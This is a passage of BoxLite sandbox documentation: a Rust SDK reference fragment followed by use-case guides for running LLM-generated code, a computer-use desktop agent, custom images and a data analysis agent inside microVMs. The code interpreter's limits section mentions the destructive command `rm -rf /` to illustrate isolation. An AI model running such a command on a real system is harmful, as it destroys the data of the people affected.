BoxliteRuntime::with_defaults()?; let litebox = runtime.create(BoxOptions::default(), None).await?; let info = litebox.info().await?; // async and fallible (status is a direct field) println!("id={} image={} status={:?}", info.id, info.image, info.status); if info.status == BoxStatus::Configured { litebox.start().await?; } litebox.stop().await?; Ok(()) } ``` *** ## Type utilities (`Bytes` / `Seconds` / `BoxID` / `ContainerID`) These newtypes appear across the API (resource sizes, durations, identifiers). Source `src/boxlite/src/runtime/types.rs` and `src/boxlite/src/runtime/id.rs`. ### `Bytes` A semantic newtype for byte sizes, so call sites carry units instead of bare integers. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::runtime::types::Bytes; // Constructors (all const fn) let size = Bytes::from_bytes(1_000_000); let size = Bytes::from_kib(512); // 512 * 1024 let size = Bytes::from_mib(128); // 128 * 1024^2 let size = Bytes::from_gib(2); // 2 * 1024^3 // Accessors let bytes = size.as_bytes(); let kib = size.as_kib(); let mib = size.as_mib(); // Display rounds down to the largest exact unit println!("{}", Bytes::from_mib(512)); // "512 MiB" println!("{}", Bytes::from_gib(2)); // "2 GiB" println!("{}", Bytes::from_bytes(1500)); // "1500 bytes" (not an exact KiB) ``` ### `Seconds` A semantic newtype for durations. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::runtime::types::Seconds; // Constructors (all const fn) let duration = Seconds::from_seconds(30); let duration = Seconds::from_minutes(5); // 300 seconds let duration = Seconds::from_hours(1); // 3600 seconds // Accessors let secs = duration.as_seconds(); let mins = duration.as_minutes(); // Display println!("{}", Seconds::from_minutes(30)); // "30 minutes" println!("{}", Seconds::from_seconds(45)); // "45 seconds" ``` ### `BoxID` A box identifier. Locally minted IDs are 12-character Base62 (\~71 bits of entropy); the type also accepts other formats from remote REST servers (up to `MAX_LENGTH = 128` characters) so prefixed or namespaced IDs round-trip. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::runtime::id::{BoxID, BoxIDMint}; let id = BoxIDMint::mint(); // 12-char Base62 for locally started boxes println!("Full: {}", id.as_str()); // e.g. "aB3cD4eF5gH6" println!("Short: {}", id.short()); // shortened prefix // Parse / validate an existing string let valid = BoxID::parse("aB3cD4eF5gH6"); let invalid = BoxID::parse(""); // None ``` ### `ContainerID` A container identifier in OCI format: 64-character lowercase hex. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::runtime::types::ContainerID; let id = ContainerID::new(); println!("Full: {}", id.as_str()); // 64 hex chars println!("Short: {}", id.short()); // 12 hex chars // Validation: exactly 64 lowercase hex characters let ok = ContainerID::is_valid(&"a".repeat(64)); // true let no = ContainerID::is_valid("abc123"); // false ``` *** ## Error types (`BoxliteError`) Source `src/shared/src/errors.rs`. `BoxliteResult = Result`. Real variants (**there is no `BoxliteError::Run`** — command-execution errors are `Execution`): `UnsupportedEngine`, `Engine(String)`, `Config(String)`, `Storage(String)`, `Image(String)`, `Portal(String)`, `Network(String)`, `Rpc(String)`, `RpcTransport(String)`, `Internal(String)`, **`Execution(String)`**, `Unsupported(String)`, `NotFound(String)`, `AlreadyExists(String)`, `InvalidState(String)`, `Database(String)`, `MetadataError(String)`, `InvalidArgument(String)`, `Stopped(String)`, `ResourceExhausted(String)`, `SessionReaped(String)`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxliteError}; #[tokio::main] async fn main() -> Result<(), Box> { let runtime = BoxliteRuntime::with_defaults()?; match runtime.create(BoxOptions::default(), None).await { Ok(litebox) => { println!("created: {}", litebox.id()); litebox.stop().await?; } Err(BoxliteError::Image(msg)) => eprintln!("image error (pull/resolve failed): {msg}"), Err(BoxliteError::Config(msg)) => eprintln!("config error: {msg}"), Err(BoxliteError::Engine(msg)) => eprintln!("engine error (often due to missing virtualization): {msg}"), Err(BoxliteError::NotFound(msg))=> eprintln!("not found: {msg}"), Err(e) => eprintln!("other error: {e}"), } Ok(()) } ``` *** ## Concurrency and thread safety `BoxliteRuntime` and `LiteBox` are both `Send + Sync` and can be shared across tasks via `Arc`: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxliteError}; use std::sync::Arc; use tokio::task; #[tokio::main] async fn main() -> Result<(), Box> { let runtime = Arc::new(BoxliteRuntime::with_defaults()?); let mut handles = Vec::new(); for _ in 0..4 { let rt = Arc::clone(&runtime); handles.push(task::spawn(async move { let litebox = rt.create(BoxOptions::default(), None).await?; let id = litebox.id().clone(); litebox.stop().await?; Ok::<_, BoxliteError>(id) })); } for h in handles { match h.await? { Ok(id) => println!("created and stopped: {id}"), Err(e) => eprintln!("task error: {e}"), } } Ok(()) } ``` *** ## Troubleshooting (common problems and typical errors) | Symptom / error | Cause | Fix | | - | - | - | | `error[E0599]: no method named \`run\` found ... LiteBox\` | Misuse of the old API `litebox.run(...)` | The execution method is **`exec`**: `litebox.exec(BoxCommand::new(...)).await?` | | No `stdout` / `stderr` field on `ExecResult` | The Rust core `ExecResult` has only `exit_code` + `error_message` | Output comes from streams: `execution.stdout()` returns `Stream` (needs `use futures::StreamExt;`) | | `error[E0308]: mismatched types ... expected RuntimeMetrics` at the `metrics()` call | `runtime.metrics()` returns `BoxliteResult` | Add `?`: `let m = runtime.metrics().await?;` | | `no method named \`run\`/\`active\_boxes\`/\`total\_commands\_run\`\` on metrics | Wrong method names | Use `total_commands_executed()`, `total_exec_errors()`, `num_running_boxes()`, `boxes_created_total()` | | `error[E0599]: no variant ... \`Run\``on`BoxliteError\` | `BoxliteError::Run` does not exist | Command-execution errors are **`BoxliteError::Execution(String)`** | | Type error when configuring a volume / security (passing the string `"ro"` for `read_only`) | `VolumeSpec.read_only` is a `bool` | Use `read_only: true/false` (only the CLI uses `ro`/`rw` strings). Passing a string in the Python binding raises `TypeError: 'str' object cannot be cast as 'bool'` | | `error[E0599]: no method named \`maximum\`/\`standard\`/\`development\``on`SecurityOptions\` | Those are Python-binding presets; the Rust core uses `enabled()`/`disabled()`/`from_preset()`/`builder()` | Use `SecurityOptions::enabled()` or `SecurityOptions::builder()....build()` | | `the \`?\` operator ... future ... not awaited`/`not in async\` | Runtime operations are async and must run inside a Tokio runtime | Use `#[tokio::main]` or `tokio::runtime::Runtime::block_on`, and `.await` | | Create/start fails with `BoxliteError::Engine(...)` indicating virtualization is unavailable | No hardware virtualization (no KVM / unsupported platform) | Linux needs KVM (user in the `kvm` group); macOS arm64 uses Hypervisor.framework (no `/dev/kvm`); WSL2 needs KVM enabled. This is an environment constraint — you can `match` the error and degrade gracefully | | `BoxliteError::Image(...)` while pulling an image | Network flakiness / missing registry auth / wrong reference | Check the image reference and network; configure private registries via `ImageRegistry::...with_basic_auth/with_bearer_auth` (see [runtime options](#boxliteoptions-imageregistry-runtime-options)); retry | | `BoxliteError::Config("remove-on-stop is incompatible with detach=true ...")` | Remove-on-stop is in effect together with `detach: true` | For a detached box, set `auto_delete: Some(0)` and manage the lifecycle yourself | | `box.remove()` method not found | Removal lives on the **runtime** | `runtime.remove(id_or_name, force).await?` | | `rest`/REST-related types not found (`BoxliteRestOptions`, etc.) | The REST client is behind the `rest` feature | Enable the crate feature `rest` | *** ## Related references * Resource defaults (`cpus`/`memory_mib`): the field default is `None`, and the runtime then allocates 1 vCPU / 1024 MiB; pass explicit values in production. See [Compute resources](/manage-sandbox/compute-resources). * Binding-layer differences: the Python/Node two-level `BoxInfo.state.status`, the Python `SecurityOptions.maximum()` preset, and so on — see the corresponding SDK reference pages. # FAQ and releases Source: https://docs.boxlite.ai/resources/index Reference material that sits alongside the documentation: answers to recurring questions, and what changed between releases. Nothing here teaches an API — these pages exist for the questions that come up around the docs rather than inside them. | Page | Use it when | | - | - | | [FAQ](/faq) | You hit a specific symptom or want a one-paragraph answer without reading a whole page | | [Release notes](/guides/changelog) | You are upgrading and need to know what changed, including security advisories | Looking for something else? * **How do I do X?** — the task-oriented pages start at [Manage sandboxes](/manage-sandbox/index) and [Agent tools](/agent-tools/index). * **A complete worked example** — [Use cases](/use-cases/index). * **Exact signatures and types** — [SDK reference](/reference/index). * **Working on BoxLite itself** — [Contributing](/development/index). # Build a code interpreter for your LLM Source: https://docs.boxlite.ai/use-cases/code-interpreter Let a model write Python freely and execute it inside a hardware-isolated microVM. You get the result; your host never runs the untrusted code. **Outcome:** a working `natural language -> generated code -> isolated execution -> result` loop. **Level:** beginner · **Time:** \~10 minutes · **Pattern:** the box is a tool the model calls. ## When to use this Any application that executes model-generated code hits the same wall: **you cannot review that code before it runs.** It may delete files, loop forever, or read your environment variables. Calling `exec()` on it inside your own process hands your full privileges to a script nobody has read. `CodeBox` closes that gap. Each snippet runs in its own microVM with its own kernel, filesystem, and resource budget, and the VM is destroyed when the scope exits. Your process keeps the API keys and the business logic; only the untrusted code crosses the boundary. Typical products built this way: data-analysis assistants, "compute this in plain English" tools, AI programming helpers, and homework/grading systems that execute submissions. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph host["Your process — trusted"] app["Application"] llm["LLM API"] end box["CodeBox — microVM
python:slim, destroyed on exit"] app -- "1. task prompt" --> llm llm -- "2. generated code" --> app app -- "3. box.run(code)" --> box box -- "4. stdout" --> app ``` Orchestration, credentials, and business logic stay in the trusted process. Only the generated code enters the isolated environment, and it arrives in a clean `python:slim` with nothing of yours in it. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * An OpenAI-compatible LLM endpoint. This guide reads `OPENAI_API_KEY`, and `OPENAI_BASE_URL` if you point at a different provider. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite openai ``` ## Build it The whole loop, ready to copy and run: ````python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import re from boxlite import CodeBox from openai import OpenAI client = OpenAI() # reads OPENAI_API_KEY (and OPENAI_BASE_URL if set) def extract_code(text: str) -> str: """Pull the code out of a fenced block in the model's reply.""" match = re.search(r"```(?:python)?\n(.*?)```", text, re.S) return (match.group(1) if match else text).strip() async def run_with_interpreter(task: str) -> str: # 1) Ask the model for code response = client.chat.completions.create( model="", # e.g. "gpt-4o-mini", or any model id your endpoint serves messages=[ {"role": "user", "content": f"Write Python code (no explanation) for: {task}"} ], ) code = extract_code(response.choices[0].message.content) # 2) Execute it in an isolated microVM; the box is destroyed when the block exits async with CodeBox() as box: return await box.run(code) # run() returns the stdout string async def main() -> None: try: output = await run_with_interpreter( "Compute the first 10 prime numbers and print them as a list." ) print(output) except RuntimeError as exc: # Image pull failure or no hardware virtualization surface here print(f"sandbox failed to start: {exc}") asyncio.run(main()) ```` `CodeBox.run(code)` returns **stdout as a string**. When you need stderr or the exit code — which you will, as soon as the model writes code that raises — use `exec` instead: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} result = await box.exec("python3", "-c", code) print(result.exit_code, result.stdout, result.stderr) ``` Full parameter tables for both entry points: [Run Python code in a box](/agent-tools/code-execution-python). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} export OPENAI_API_KEY="" python interpreter.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} [2, 3, 5, 7, 11, 13, 17, 19, 23, 29] ``` That list was computed inside the microVM, not on your machine. The first run also pulls `python:slim`, which can take tens of seconds; later runs start in about two seconds. ## Trust and limits * **What the boundary covers.** The generated code gets its own kernel and filesystem and is memory-isolated from your process. `rm -rf /` inside the box cannot reach the host, and the box is destroyed when the scope exits. * **The box has full outbound network by default.** Isolation is not the same as containment: code in the box can still reach the internet. If the threat you care about is exfiltration rather than damage, add an egress allowlist — see [Harden the box for untrusted code](/agent-tools/code-execution-any-language#harden-the-box-for-untrusted-code). * **Failures are catchable.** A missing hypervisor or a failed image pull raises `RuntimeError` in Python (a bare `Error` in Node), not a process crash. * **`run()` hides errors by design.** It returns stdout only. A traceback lands in stderr and you will see an empty string. Use `exec` while you are debugging what the model produced. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `run()` returns an empty string | The generated code raised; the traceback went to stderr | Switch to `exec("python3", "-c", code)` and read `stderr` / `exit_code` | | `Model does not exist` (HTTP 400) | `OPENAI_BASE_URL` points at another provider but the model id is still an OpenAI one | Use a model id that endpoint actually serves | | `RuntimeError` on startup | No hardware virtualization, or the image pull failed | Check KVM (Linux) or Hypervisor.framework (macOS); see [Installation](/getting-started/installation) | | First run takes tens of seconds | The base image is being pulled | Expected once per image; subsequent starts are \~2s | ## Next steps * **Give the model a tool interface instead of a one-shot call** — [Drive a sandbox from your agent loop](/agent-tools/drive-from-agent-loop). * **Analyze a real dataset** — [Data analysis agent](/use-cases/data-analysis-agent) adds `copy_in` / `copy_out` and charts. * **Lock the box down** — [Run untrusted tools safely](/use-cases/untrusted-tool-execution). # Give an agent a computer Source: https://docs.boxlite.ai/use-cases/computer-use-agent Run a full Linux desktop inside an isolated microVM and let a vision model drive it — look at the screen, decide, move the mouse, type. A misclick costs you a disposable VM, not your machine. **Outcome:** a working `screenshot -> vision model -> desktop action` loop, watchable live in a browser. **Level:** intermediate · **Time:** \~15 minutes · **Pattern:** the agent lives in the box. ## When to use this Some systems have no API — only an interface. Placing an order in a legacy ERP web app, clicking through a desktop configuration, exporting a report from a SaaS product with no SDK. Selector-based automation is brittle here, and sometimes simply impossible. Computer use takes the other road: a multimodal model looks at the screen and acts like a person. That is powerful and inherently dangerous — you have handed a program that decides its own clicks a machine with a filesystem and a network connection. **One wrong click can really delete a file or really submit an order.** `ComputerBox` bounds that risk. It boots an XFCE desktop with a browser inside a microVM and exposes mouse, keyboard, and screenshots as async methods. The agent works on a disposable machine that is fully isolated from your host, and you can watch it in a browser the whole time. Fits: automating GUI-only systems, evaluation sandboxes for computer-use agents, and high-risk desktop work that needs a human watching. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph host["Host — trusted"] app["Your loop"] vlm["Vision model"] human["Browser
localhost:3000"] end subgraph vm["ComputerBox — microVM"] desktop["XFCE desktop 1024x768
browser, filesystem"] end desktop -- "1. screenshot (base64 PNG)" --> app app -- "2. image + goal" --> vlm vlm -- "3. next action as JSON" --> app app -- "4. mouse_move / click / type" --> desktop human -. "watch live" .-> desktop ``` Two channels reach the same desktop: your program drives it through `ComputerBox` methods, and a person watches through the forwarded HTTP port. The loop itself is `observe -> think -> act`, repeated. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * A vision-capable model on an Anthropic-compatible endpoint. * The first run pulls the desktop image, which is large. Allow several minutes and use a generous `wait_until_ready` timeout. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite anthropic ``` ## Build it One full turn of the loop: take a screenshot, let the model read it and choose the next action, execute that action on the real desktop, then confirm. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import json import os import re import anthropic from boxlite import ComputerBox vision = anthropic.Anthropic( base_url=os.environ["ANTHROPIC_BASE_URL"], # api_key=os.environ["ANTHROPIC_API_KEY"], # ) VISION_MODEL = "" # any model id that accepts images # The action vocabulary maps one-to-one onto ComputerBox methods SYSTEM = """You operate a Linux desktop (1024x768) via screenshots. Look at the screenshot and decide the SINGLE next action toward the goal. Return ONLY one JSON object, no prose: {"action":"mouse_move","x":,"y":} {"action":"left_click"} {"action":"double_click"} {"action":"type","text":""} {"action":"key","text":""} {"action":"scroll","x":,"y":,"direction":"up|down","amount":} """ def text_of(response) -> str: """Return the last text block — some models emit a thinking block first.""" out = None for block in response.content: if block.type == "text": out = block.text return out or "" def extract_action(text: str) -> dict: match = re.search(r"\{.*\}", text, re.S) return json.loads(match.group(0) if match else text) async def run_action(desktop, action: dict) -> None: """Apply one model-chosen action to the real desktop.""" kind = action["action"] if kind == "mouse_move": await desktop.mouse_move(int(action["x"]), int(action["y"])) elif kind == "left_click": await desktop.left_click() elif kind == "double_click": await desktop.double_click() elif kind == "type": await desktop.type(action["text"]) elif kind == "key": await desktop.key(action["text"]) # e.g. "Return", "ctrl+a" elif kind == "scroll": await desktop.scroll(int(action["x"]), int(action["y"]), action["direction"], int(action.get("amount", 3))) print(f"executed: {kind} {action}") async def main() -> None: goal = ("As a concrete first step, move the mouse to the center " "of the screen at coordinates (512, 384).") try: async with ComputerBox(cpu=2, memory=2048) as desktop: # The first run pulls a large image; be generous with the timeout await desktop.wait_until_ready(timeout=180) # 1) Observe — screenshot() returns a dict with base64 PNG in ["data"] shot = await desktop.screenshot() print(f"screenshot {shot['width']}x{shot['height']} {shot['format']}") # 2) Think — hand the image to the vision model response = vision.messages.create( model=VISION_MODEL, max_tokens=512, system=SYSTEM, messages=[{"role": "user", "content": [ {"type": "image", "source": { "type": "base64", "media_type": "image/png", "data": shot["data"], }}, {"type": "text", "text": f"Goal: {goal}\nWhat is the next single action?"}, ]}], ) action = extract_action(text_of(response)) print(f"model chose: {action}") # 3) Act — then verify by reading the cursor and re-shooting await run_action(desktop, action) x, y = await desktop.cursor_position() print(f"cursor now at ({x}, {y})") await desktop.screenshot() except TimeoutError: print("the desktop did not become ready in time — raise the timeout") except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` The full method list and the `screenshot()` return shape are on [Computer use (desktop)](/agent-tools/computer-use#parameters-returns). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} export ANTHROPIC_BASE_URL="" export ANTHROPIC_API_KEY="" python computer_use.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} screenshot 1024x768 png model chose: {'action': 'mouse_move', 'x': 512, 'y': 384} executed: mouse_move {'action': 'mouse_move', 'x': 512, 'y': 384} cursor now at (512, 384) ``` The model looked at a real desktop and its decision moved a real cursor. Open `http://localhost:3000` while the script runs to watch it happen. ## Trust and limits * **What the boundary covers.** The entire desktop — window manager, browser, filesystem — runs in a microVM. An agent that deletes files, installs software, or fills in a form affects only that machine, and it is destroyed when the block exits. * **Coordinates are the agent's whole world.** It acts on pixel positions from a 1024x768 screenshot. If a dialog moves or a font renders differently, a click lands somewhere unintended. Verify after acting — read `cursor_position()` or take another screenshot — rather than assuming the action did what the model meant. * **Network is open by default.** A browser on that desktop reaches the internet. For untrusted goals, narrow egress: [Run untrusted tools safely](/use-cases/untrusted-tool-execution). * **The desktop is heavy.** `ComputerBox` defaults to 2 vCPU and 2048 MiB and pulls a large image on first use. It is not a per-request primitive; keep one alive for a session rather than starting one per action. * **`wait_until_ready` can time out.** It raises `TimeoutError` — a catchable failure, not a crash. Raise the timeout on first pull. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `TimeoutError` from `wait_until_ready` | The image is still being pulled, or the host is resource-constrained | Raise the timeout (180s or more on the first run) and confirm free memory | | The model returns prose instead of JSON | The system prompt was not followed, or a thinking block came first | Take the **last** text block, as `text_of` does, and re-prompt with a stricter instruction | | `KeyError` reading the screenshot | `screenshot()` returns a dict — `data`, `width`, `height`, `format` | Use `shot["data"]` for the base64 PNG | | The action executes but nothing changes | Coordinates were computed against a different resolution | The desktop is 1024x768; confirm with `get_screen_size()` | | Cannot reach `localhost:3000` | The desktop is not ready yet | Wait for `wait_until_ready`, then open the port | ## Next steps * **Loop it.** Wrap observe-think-act in a `while` loop with a step budget and a stop condition, re-screenshotting after each action. * **Keep a human in the loop.** For high-risk goals, require confirmation before actions such as `left_click` on a submit button. * **Prefer the browser when a page will do.** Driving a page directly is far more reliable than pixel-clicking — see [Scrape and analyze the web](/use-cases/web-scraping-agent). * **Watch a coding agent instead.** [Run Claude Code](/agent-in-box/run-claude-code) puts an autonomous coding agent in a box with the same desktop channel. # Use a custom image as the agent environment Source: https://docs.boxlite.ai/use-cases/custom-agent-image Give your agent the toolchain it needs on the first boot instead of installing it every time. Any OCI image — a public one, your team's standard image, or a local layout in an air-gapped network — becomes the box's root filesystem. **Outcome:** boxes that start with your compilers, CLIs, and pinned dependencies already present. **Level:** beginner+ · **Time:** \~10 minutes · **Pattern:** the agent lives in the box. ## When to use this The default sandbox image is clean, which also means it is empty. As soon as an agent needs a specific toolchain — a Node stack, `ffmpeg`, a compiler, an internal CLI, a set of pinned versions — installing it after every boot is slow, not reproducible, and fails outright when the network is restricted. More often, **you already have the image.** Your team's standard dev image, your CI image, or a project's official image. You just want the agent to live in it. BoxLite reduces that to one parameter: pass an image reference to `image=` to pull from a registry, or a local OCI image layout directory to `rootfs_path=` for offline use. Whatever the image contains, the box has — and every box is still a fully isolated microVM. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph sources["Where the filesystem comes from"] pub["Public registry
image='docker.io/library/node:slim'"] priv["Private registry
resolution order + credentials"] local["Local OCI layout
rootfs_path='/path/to/layout'"] end box["microVM
your toolchain, isolated"] pub --> box priv --> box local --> box ``` The isolation properties do not change with the source. A custom image widens what the agent can *do*; it does not widen what it can *reach*. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * Network access to your registry, or a local OCI image layout on disk. ## Build it ### Option 1: pull a public image Pass a fully qualified reference and the image becomes the box's root filesystem. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main() -> None: try: # Fully qualified: pull this image from docker.io as the box root filesystem async with SimpleBox(image="docker.io/library/alpine:latest") as box: print("box.id:", box.id) info = await box.exec("cat", "/etc/os-release") print("exit_code:", info.exit_code) # exec does not raise — check it print("\n".join(info.stdout.splitlines()[:3])) # Everything the image ships is available immediately apk = await box.exec("sh", "-c", "command -v apk") print("apk path:", apk.stdout.strip(), f"(exit {apk.exit_code})") except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` ### Option 2: an image that already carries the toolchain Same parameter, different image — the agent gets a full Node runtime with nothing to install. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main() -> None: try: async with SimpleBox(image="docker.io/library/node:slim") as box: version = await box.exec("node", "--version") print("node:", version.stdout.strip(), f"(exit {version.exit_code})") run = await box.exec("node", "-e", "console.log('hello from ' + process.version)") print(run.stdout.strip()) except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` ### Option 3: offline, from a local OCI image layout When the box must not reach a registry at all, point at a directory on disk instead. `rootfs_path` takes precedence over `image`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main() -> None: try: # An OCI image layout directory — the on-disk form of a container image async with SimpleBox(rootfs_path="") as box: result = await box.exec("sh", "-c", "cat /etc/os-release | head -1") print(result.stdout.strip(), f"(exit {result.exit_code})") except ValueError as exc: # Neither image nor rootfs_path supplied print(f"configuration error: {exc}") except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` Private registries, resolution order for unqualified names, and credentials are configured once at runtime level — see [Image registry configuration](/guides/image-registry-configuration). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} python custom_image.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} box.id: hR4tK9wZmXbC exit_code: 0 NAME="Alpine Linux" ID=alpine VERSION_ID=3.21.0 apk path: /sbin/apk (exit 0) ``` The box is running your image, and its package manager is there without a single install step. ## Trust and limits * **The image defines capability, not exposure.** A richer image gives the agent more tools; it does not change the microVM boundary or open the network further. Whatever the image contains still runs on its own kernel and filesystem. * **You inherit the image's trust posture.** A base image with a vulnerable library, or one from an unverified source, brings that into the box. Pin digests for anything you depend on, and prefer images you build. * **The first pull is slow, later starts are not.** Layers are cached by digest and deduplicated across images, so the cost lands once per image. * **Disk is finite.** Large toolchains plus runtime installs can exhaust the default box disk — the failure is `OSError: [Errno 28] No space left on device`. Size it with `disk_size_gb`. * **`image` and `rootfs_path` are alternatives.** Supplying neither raises `ValueError` at construction; supplying both means `rootfs_path` wins. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `ValueError: Either 'image' or 'rootfs_path' must be provided` | Neither was given | Pass one of them | | An unqualified name resolves to the wrong registry | Resolution order is not configured | Use a fully qualified reference, or set the order — see [Image registry configuration](/guides/image-registry-configuration) | | `RuntimeError` while pulling | Registry unreachable, image missing, or credentials required | Verify the reference and configure registry credentials | | `No space left on device` during a build step | The default box disk is too small for this toolchain | `SimpleBox(..., disk_size_gb=8)` or larger | | The first start takes minutes | The image is being pulled and unpacked | Expected once per image; later starts use the cache | | A tool you expected is missing | It is not in the image | Confirm with `exec("sh", "-c", "command -v ")` and pick a different base | ## Next steps * **Give each tenant its own image.** Combine with [Give each user a persistent shell](/use-cases/interactive-dev-environment) for per-user dev boxes. * **Configure a private registry once.** [Image registry configuration](/guides/image-registry-configuration) covers credentials and resolution order. * **Constrain what the richer image can reach** — [Run untrusted tools safely](/use-cases/untrusted-tool-execution). # Build a data analysis agent Source: https://docs.boxlite.ai/use-cases/data-analysis-agent Hand a CSV to a model, let it write its own pandas and matplotlib code, and run that code in an isolated microVM. You get the answer and the chart file back; the generated code never touches your host. **Outcome:** a `data in -> model writes analysis -> isolated execution -> answer and chart out` pipeline. **Level:** intermediate · **Time:** \~15 minutes · **Pattern:** the box is a tool the model calls. ## When to use this You want a conversational data assistant: a user drops in a CSV, asks "what is revenue by region, and which product sells best?", and gets a number and a chart. The tension is structural. To produce a real answer you must **actually run code**, and no one reviews the pandas script the model wrote. It might read other files on your machine, install something unexpected, or exhaust memory inside your process. `CodeBox` turns that into a closed loop: **copy the data in, let the model write the code, run it in the sandbox, copy the results out.** Both the data copy and the code live inside a disposable microVM. Your process only orchestrates. Fits: conversational analytics, automated reporting, a natural-language front end over a data catalog, and batch processing of user-uploaded datasets. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR llm["LLM API"] app["Your application
trusted process"] subgraph vm["CodeBox — microVM"] work["Copied CSV
generated pandas code
rendered chart"] end app -- "1. schema hint only" --> llm llm -- "2. pandas code" --> app app -- "3. copy_in + run" --> work work -- "4. answer + copy_out(png)" --> app ``` Three things are worth noticing: * **Only a schema hint goes to the model.** You send the header and a few sample rows, not the dataset. That saves tokens and keeps sensitive records out of the prompt. * **Data enters explicitly.** The sandbox sees exactly what you `copy_in` and nothing else. * **Artifacts come back explicitly.** Text results ride out on the return value of `run()`; files come back through `copy_out()`. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * An OpenAI-compatible LLM endpoint (`OPENAI_API_KEY`, plus `OPENAI_BASE_URL` for other providers). * **Give the box a bigger disk.** `pandas` and `numpy` do not fit in the default `CodeBox` disk. Pass `disk_size_gb=4` — see [Trust and limits](#trust-and-limits) for what happens if you forget. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite openai ``` ## Build it ### Step 1: data in, analysis out ````python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import re from pathlib import Path from boxlite import CodeBox from openai import OpenAI client = OpenAI() # reads OPENAI_API_KEY (and OPENAI_BASE_URL if set) def extract_code(text: str) -> str: """Pull the code out of a fenced block in the model's reply.""" match = re.search(r"```(?:python)?\n(.*?)```", text, re.S) return (match.group(1) if match else text).strip() async def analyze(csv_path: str, question: str) -> str: # 1) Send only the header and three sample rows as a schema hint lines = Path(csv_path).read_text().splitlines() schema_preview = "\n".join(lines[:4]) response = client.chat.completions.create( model="", # e.g. "gpt-4o-mini", or any model id your endpoint serves messages=[{"role": "user", "content": ( "You write Python that reads /data/sales.csv with pandas and prints answers. " "No explanation, code only.\n" f"CSV header and sample rows:\n{schema_preview}\n" f"Task: {question}" )}], ) code = extract_code(response.choices[0].message.content) # 2) disk_size_gb=4 leaves room for pandas and numpy async with CodeBox(disk_size_gb=4) as box: # 3) Copy the real data into a persistent path — not /tmp, which is tmpfs await box.copy_in(csv_path, "/data/sales.csv") # 4) Install dependencies inside the box await box.install_packages("pandas") # 5) Run the generated code; run() returns stdout as a string return await box.run(code) async def main() -> None: # Sample data; in production this is the file your user uploaded Path("sales.csv").write_text( "date,region,product,units,revenue\n" "2026-01-05,North,Widget,120,2400\n" "2026-01-05,South,Widget,90,1800\n" "2026-01-06,North,Gadget,40,2000\n" "2026-01-06,South,Gadget,75,3750\n" "2026-01-07,North,Widget,150,3000\n" "2026-01-07,South,Gadget,60,3000\n" "2026-01-08,North,Gadget,55,2750\n" "2026-01-08,South,Widget,110,2200\n" ) try: answer = await analyze( "sales.csv", "Each region's total revenue and the single best-selling product by units.", ) print(answer) except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ```` ### Step 2: render a chart and bring the PNG back The other half of analysis is a picture. Let the sandbox render it with matplotlib and pull the file out — the rendering happens inside the isolated environment too. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import CodeBox CHART_CODE = """ import pandas as pd import matplotlib matplotlib.use("Agg") # required: there is no display inside the box import matplotlib.pyplot as plt df = pd.read_csv("/data/sales.csv") df.groupby("region")["revenue"].sum().plot(kind="bar") plt.title("Revenue by Region") plt.tight_layout() plt.savefig("/data/revenue.png") # persistent path, so copy_out can reach it print("chart written") """ async def main() -> None: try: async with CodeBox(disk_size_gb=4) as box: await box.copy_in("sales.csv", "/data/sales.csv") await box.install_packages("pandas", "matplotlib") print(await box.run(CHART_CODE)) # -> "chart written" await box.copy_out("/data/revenue.png", "revenue.png") print("chart saved to ./revenue.png") except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` Parameter tables for `copy_in` / `copy_out`: [Moving files without a mount](/manage-sandbox/volumes#moving-files-without-a-mount). For `run` / `install_packages` / `exec`: [Run Python code in a box](/agent-tools/code-execution-python). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} export OPENAI_API_KEY="" python data_analysis.py ``` 